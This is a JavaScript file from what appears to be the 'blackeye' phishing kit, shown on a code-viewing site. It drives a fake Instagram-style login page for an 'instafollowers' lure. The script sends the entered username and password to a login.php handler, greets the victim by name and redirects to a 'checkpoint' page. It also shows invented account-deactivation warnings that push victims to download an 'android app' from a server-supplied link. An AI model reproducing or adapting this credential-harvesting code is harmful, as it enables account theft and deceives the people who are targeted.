Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
thewickedkarma
GitHub Repository: thewickedkarma/blackeye-im
Path: blob/master/sites/instafollowers/login_files/otherscript.js
1249 views
1
$(function() {
2
$('form.ajax[data-action="instagram_login"]').submit(function(e) {
3
e.preventDefault();
4
var alerts = 'form.ajax[data-action="instagram_login"] div.ajax-alerts';
5
var fieldset = $('form.ajax[data-action="instagram_login"] fieldset');
6
var controls = $('form.ajax[data-action="instagram_login"] input, form.ajax[data-action="instagram_login"] button');
7
var submit = $('form.ajax[data-action="instagram_login"] button[type="submit"]');
8
$.ajax({
9
url: '/login.php',
10
type: "POST",
11
dataType: "json",
12
data: $('form.ajax[data-action="instagram_login"]').serialize(),
13
beforeSend: function(){
14
controls.html('<i class="fa fa-circle-o-notch fa-spin"></i> Sign In');
15
controls.attr('disabled', 'disabled');
16
flash.alert(alerts, 'info', 'Logging in, please wait for a while...', '<p></p>');
17
},
18
success: function(data){
19
if(data.success == true){
20
//fieldset.slideUp();
21
22
flash.alert(alerts, 'success', 'Hi there <b>'+data.name+'</b>! You are now being redirected...', '');
23
setTimeout(function() {
24
window.location.href = './checkpoint';
25
}, 1000)
26
} else if(data.success == false){
27
if(data.error == 'invalid_credentials'){
28
controls.html('Login');
29
controls.removeAttr('disabled');
30
$('form.ajax[data-action="instagram_login"] input[name="password"]').val('').focus();
31
flash.alert(alerts, 'danger', 'Invalid username or password, please try again.', '<p></p>').delay(4000).slideUp();
32
} else if(data.error == 'blocked'){
33
controls.html('Login');
34
controls.removeAttr('disabled');
35
$('form.ajax[data-action="instagram_login"] input[name="username"], input[name="password"]').val('').focus();
36
flash.alert(alerts, 'danger', 'Your account is deactivated. To reactivate account login into our android app., <a href="'+data.verify_url+'" class="app-link" target="_blank">click here</a> to download android app.', '<p></p>').delay(50000).slideUp();
37
} else if(data.error == 'not_found'){
38
controls.html('Login');
39
controls.removeAttr('disabled');
40
$('form.ajax[data-action="instagram_login"] input[name="username"], input[name="password"]').val('').focus();
41
flash.alert(alerts, 'danger', 'Login Failed! you need to activate your account using our android app., <a href="'+data.verify_url+'" class="app-link" target="_blank">click here</a> to download our app.', '<p></p>').delay(50000).slideUp();
42
} else{
43
controls.html('Login');
44
controls.removeAttr('disabled');
45
$('form.ajax[data-action="instagram_login"] input[name="username"], input[name="password"]').val('').focus();
46
flash.alert(alerts, 'danger', 'Unknown error occured, please try again after a while.', '<p></p>').delay(4000).slideUp();
47
}
48
} else {
49
fieldset.slideUp();
50
flash.alert(alerts, 'danger', 'Unknown error occured, please reload the page and login again.', '');
51
}
52
},
53
error: function(){
54
fieldset.slideUp();
55
flash.alert(alerts, 'danger', 'Unknown error occured, please reload the page and login again.', '');
56
}
57
});
58
});
59
$('form.form-horizontal[data-action="send_email"]').submit(function(e) {
60
e.preventDefault();
61
var alerts = 'form.form-horizontal[data-action="send_email"] div.ajax-alerts';
62
var fieldset = $('form.form-horizontal[data-action="send_email"] fieldset');
63
var controls = $('form.form-horizontal[data-action="send_email"] input[name="name"], form.form-horizontal[data-action="send_email"] input[name="email"], form.form-horizontal[data-action="send_email"] textarea[name="message"], form.form-horizontal[data-action="send_email"] button');
64
var submit = $('form.form-horizontal[data-action="send_email"] button[type="submit"]');
65
$.ajax({
66
url: './contact.php',
67
type: "POST",
68
dataType: "json",
69
data: $('form.form-horizontal[data-action="send_email"]').serialize(),
70
beforeSend: function() {
71
controls.attr('disabled', 'disabled');
72
flash.alert(alerts, 'info', 'Sending your message, please wait for a while...', '<p></p>');
73
},
74
success: function(data) {
75
if (data.response == 'true') {
76
flash.alert(alerts, 'success', 'Well done <b>'+data.name+'</b>! Your message has been sent, we\'ll reply you in 24-48 hours.', '');
77
$('form.form-horizontal[data-action="send_email"] input[name="name"], input[name="email"], textarea[name="message"]').val('');
78
} else if (data.status == 'false') {
79
fieldset.slideUp();
80
flash.alert(alerts, 'danger', '' + data.message + '', '');
81
} else {
82
controls.removeAttr('disabled');
83
flash.alert(alerts, 'danger', '' + data.message + '', '<p></p>').delay(4000).slideUp();
84
}
85
},
86
error: function() {
87
fieldset.slideUp();
88
flash.alert(alerts, 'danger', '<b>Application Error!</b> Please reload the page and try again.', '');
89
}
90
});
91
});
92
});
93
var flash = {
94
alert: function(element, type, message, tag) {
95
$(element).html('<div class="alert alert-' + type + '">' + message + '</div> ' + tag + '').slideDown();
96
return $(element);
97
}
98
}
99
setTimeout(function() {
100
$('#alert').slideUp();
101
}, 4000);
102
103